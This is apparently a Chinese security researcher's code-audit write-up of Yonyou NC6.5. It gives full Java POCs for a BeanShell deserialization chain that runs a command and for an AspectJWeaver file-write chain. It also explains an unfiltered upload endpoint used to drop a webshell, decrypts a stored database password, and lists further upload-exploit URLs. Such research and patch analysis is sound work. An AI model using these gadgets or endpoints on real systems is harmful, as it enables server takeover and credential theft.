Skip to content

Latest commit

 

History

History
505 lines (424 loc) · 20 KB

用友NC6-5-代码审计.md

File metadata and controls

505 lines (424 loc) · 20 KB

title: 用友NC6.5 代码审计 author: Bmth tags:


用友NC在java反序列化中也算典型的例子了,就简单的看一下

环境搭建参考: 用友nc6.5详细安装过程 用友6.5安装及配置注意要点

注意在配置数据源时,需要将 sqljdbc4.jar 包复制到 jdk/lib 目录下 添加远程调试:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

代码审计

先看看关键路由,在webapps/nc_web/WEB-INF/web.xml

<servlet> 
 <servlet-name>NCInvokerServlet</servlet-name>
  <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>

发现 service 和 servlet 均由 NCInvokerServlet 处理 跟进到lib/fwserver.jarnc.bs.framework.server.InvokerServlet

private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String token = this.getParamValue(request, "security_token");
    String userCode = this.getParamValue(request, "user_code");
    if (userCode != null) {
        InvocationInfoProxy.getInstance().setUserCode(userCode);
    }

    if (token != null) {
        NetStreamContext.setToken(KeyUtil.decodeToken(token));
    }

    String pathInfo = request.getPathInfo();
    log.debug("Before Invoke: " + pathInfo);
    long requestTime = System.currentTimeMillis();

    try {
        if (pathInfo == null) {
            throw new ServletException("Service name is not specified, pathInfo is null");
        }

        pathInfo = pathInfo.trim();
        String moduleName = null;
        String serviceName = null;
        int beginIndex;
        if (pathInfo.startsWith("/~")) {
            moduleName = pathInfo.substring(2);
            beginIndex = moduleName.indexOf("/");
            if (beginIndex >= 0) {
                serviceName = moduleName.substring(beginIndex);
                if (beginIndex > 0) {
                    moduleName = moduleName.substring(0, beginIndex);
                } else {
                    moduleName = null;
                }
            } else {
                moduleName = null;
                serviceName = pathInfo;
            }
        } else {
            serviceName = pathInfo;
        }

        if (serviceName == null) {
            throw new ServletException("Service name is not specified");
        }

        beginIndex = serviceName.indexOf("/");
        if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
            throw new ServletException("Service name is not specified");
        }

        serviceName = serviceName.substring(beginIndex + 1);
        Object obj = null;

        String msg;
        try {
            obj = this.getServiceObject(moduleName, serviceName);
        } catch (ComponentException var76) {
            msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
            Logger.error(msg, var76);
            throw new ServletException(msg);
        }

获得 pathinfo 后,如果是以/~开头,截取第一部分为 moduleName,然后再截取第二部分为 serviceName,再根据getServiceObject(moduleName, serviceName)实现任意 Servlet 调用 所以说有三种触发方法:

/servlet/monitorservlet
/servlet/~ic/MonitorServlet
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet

BeanShell反序列化

网上基本都是关于 CNVD-2021-30167 的,但其实 BeanShell 也存在反序列化漏洞

看到bsh.XThis,它是bsh.This对象的子类,在 This 的基础上添加了通用接口代理机制的支持,也就是 InvocationHandler,XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法

它调用了 invokeImpl 方法

调用 invokeMethod 执行对应的方法

我们可以使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用

POC:

import bsh.Interpreter;
import bsh.NameSpace;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;

public class BeanShell {
    public static void main(String[] args) throws Exception{
        String compareMethod = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}";

        Interpreter interpreter = new Interpreter();
        interpreter.eval(compareMethod);

        Class clz = Class.forName("bsh.XThis");
        Constructor constructor = clz.getDeclaredConstructor(NameSpace.class, Interpreter.class);
        constructor.setAccessible(true);
        Object xt = constructor.newInstance(interpreter.getNameSpace(),interpreter);

        InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);

        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[] queue = new Object[] {1,1};
        setFieldValue(priorityQueue, "queue", queue);
        setFieldValue(priorityQueue, "size", 2);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void setAccessible(AccessibleObject member) {
        member.setAccessible(true);
    }
}

最终调用栈:

start:1005, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeOnMethod:-1, Reflect (bsh)
invokeObjectMethod:-1, Reflect (bsh)
doName:-1, BSHPrimarySuffix (bsh)
doSuffix:-1, BSHPrimarySuffix (bsh)
eval:-1, BSHPrimaryExpression (bsh)
eval:-1, BSHPrimaryExpression (bsh)
evalBlock:-1, BSHBlock (bsh)
eval:-1, BSHBlock (bsh)
invokeImpl:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invokeMethod:-1, This (bsh)
invokeMethod:-1, This (bsh)
invokeImpl:-1, XThis$Handler (bsh)
invoke:-1, XThis$Handler (bsh)
compare:-1, $Proxy1 (com.sun.proxy)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)

漏洞修复: https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced

移除了 Handler 类的 Serializable 接口

参考: ysoserial-beanshell(CVE-2016-2510) Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin

AspectJWeaver反序列化

发现存在依赖 aspectjweaver-1.7.4.jar ,配合 commons-collections 存在一个 non RCE 的任意文件写利用链

在类org.aspectj.weaver.tools.cache.SimpleCache中有一个继承 HashMap 的内部类 StoreableCachingMap

它重写了 HashMap 的 put 方法,传入的 key 为文件名,value 为写入文件的内容

跟进 writeToPath 方法

写入文件的路径为this.folder + File.separator + key,所以说只要能触发SimpleCache$StoreableCachingMap的 put 方法就能执行写文件操作

org.apache.commons.collections.map.LazyMap的 get 方法中调用了 put 方法

最终的payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class AspectJWeaver {
    public static void main(String[] args) throws Exception{
        String filename    = "test.jsp";
        String filepath    = "./";
        String filecontent = "test123";

        Constructor ctor = getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(filepath, 12);
        Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        setAccessible(keyField);
        keyField.set(node, entry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    public static void setAccessible(AccessibleObject member) {
        member.setAccessible(true);
    }
}

调用栈如下:

writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:362, HashMap (java.util)
put:492, HashMap (java.util)
readObject:309, HashSet (java.util)

也可以将原来的

Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));

改写成

Transformer ct = new FactoryTransformer(new ConstantFactory(filecontent.getBytes(StandardCharsets.UTF_8)));

用来绕过一些特征检测

参考: 自定义AspectJWeave gadget绕过serialKiller https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

grouptemplet任意文件上传

漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=364 漏洞描述:通过非法调用相关uapim接口构造恶意请求从而上传webshell实现任意文件上传

这个洞其实在2022年就爆出来了

看到hotwebs/uapim/WEB-INF/lib/uapim-server-core-0.0.1.jar,找到com.yonyou.uapim.web.controller.UploadController的 doGroupTempletUpload 方法

@RequestMapping(
    value = {"grouptemplet"},
    method = {RequestMethod.POST}
)
public Boolean doGroupTempletUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String groupid = request.getParameter("groupid");
    String fileType = request.getParameter("fileType");
    String maxSize = request.getParameter("maxSize");
    String tempPath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-imfile-temp-", (String)null);
    String filePath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-static-pages-" + groupid + "-", (String)null);
    IMLogger.info("单据信息上传临时目录名:" + tempPath);
    IMLogger.info("单据信息上传真实目录名:" + filePath);
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setSizeThreshold(10485760);
    factory.setRepository(new File(tempPath));
    ServletFileUpload upload = new ServletFileUpload(factory);
    if (maxSize != null && !"".equals(maxSize.trim())) {
        upload.setSizeMax((long)(Integer.valueOf(maxSize) * 1024 * 1024));
    }

    try {
        List<FileItem> items = upload.parseRequest(request);
        Iterator i$ = items.iterator();

        while(true) {
            FileItem item;
            do {
                if (!i$.hasNext()) {
                    return null;
                }

                item = (FileItem)i$.next();
            } while(item.isFormField());

            String fileName = item.getName();
            String fileEnd = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
            if (fileType != null && !"".equals(fileType.trim())) {
                boolean isRealType = false;
                String[] arrType = fileType.split(",");
                String[] arr$ = arrType;
                int len$ = arrType.length;

                for(int i$ = 0; i$ < len$; ++i$) {
                    String str = arr$[i$];
                    if (fileEnd.equals(str.toLowerCase())) {
                        isRealType = true;
                        break;
                    }
                }

                if (!isRealType) {
                    IMLogger.error("上传文件异常!文件格式不正确!");
                    return null;
                }
            }

            String uuid = "head";
            StringBuffer sbRealPath = new StringBuffer();
            sbRealPath.append(filePath).append(uuid).append(".").append(fileEnd);
            IMLogger.info("上传群组单据信息:" + sbRealPath.toString());
            File file = new File(sbRealPath.toString());
            FileUtil.makeDirectory(filePath);
            item.write(file);
            FileMeta filemeta = FileUploadService.upload((UFSClient)null, sbRealPath.toString());
            String filePK = filemeta.getFilePK();
            StringBuffer sb = new StringBuffer();
            sb.append("window.returnValue='").append(fileName).append(",").append(uuid).append(".").append(fileEnd).append(",").append(file.length()).append("';");
            sb.append("window.close();");
            IMLogger.info("上传文件成功,信息:" + sb.toString());
        }
    } catch (Exception var22) {
        Exception e = var22;
        IMLogger.error("上传文件异常!上传失败:" + var22.toString(), var22);
        response.setHeader("state", "fail");

        try {
            response.setHeader("error", URLEncoder.encode(e.getMessage(), "UTF-8"));
        } catch (UnsupportedEncodingException var21) {
            var21.printStackTrace();
        }

        return null;
    }
}

发现文件后缀没有任何过滤,并且文件名也是固定值head

虽然显示 fail 了,但还是在hotwebs/uapim/static/pages/test成功写入shell

数据库解密

找到文件 ierp/bin/prop.xml,里面包含数据库的连接信息

<databaseUrl>jdbc:sqlserver://192.168.111.137:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl>
<user>sa</user>
<password>fhkjjjimdphmoecm</password>
<driverClassName>com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName>
<databaseType>SQLSERVER2008</databaseType>

发现密码被加密了,需要进行解密 系统会调用middleware/mw.jar中的nc.bs.mw.pm.MiddleProperty#decode()方法进行解密

反射调用了nc.vo.framework.rsa.Encode的 decode 方法 我们直接导入external/lib/basic.jar进行解密

import nc.vo.framework.rsa.Encode;

public class DbPasswdDecode {
    public static void main(String[] args) {
        Encode en = new Encode();
        System.out.println(en.decode("fhkjjjimdphmoecm"));
    }
}

总结

反序列化接口根据补丁还是很好找的,就不细说了,但利用需要相关的依赖,并不能通杀,所以接口再多也很鸡肋-v-

还有很多文件上传,都比较简单,就不多分析了 漏洞url:/mp/login/../uploadControl/uploadFile 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=342 漏洞描述:通过mp模块进行任意文件上传,从而上传webshell实现控制服务器,远程执行任意命令

漏洞url:/aim/equipmap/accept.jsp 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=281 漏洞描述:漏洞触发点在目标地址下/aim/equipmap/accept.jsp路径,构造POST数据包上传恶意文件

推荐一些技术文章: 某NC系统的命令执行漏洞ActionInvokeService的分析 用友NC历史漏洞(含POC) 用友nc远程命令执行漏洞分析 yonyou的一处JNDI审计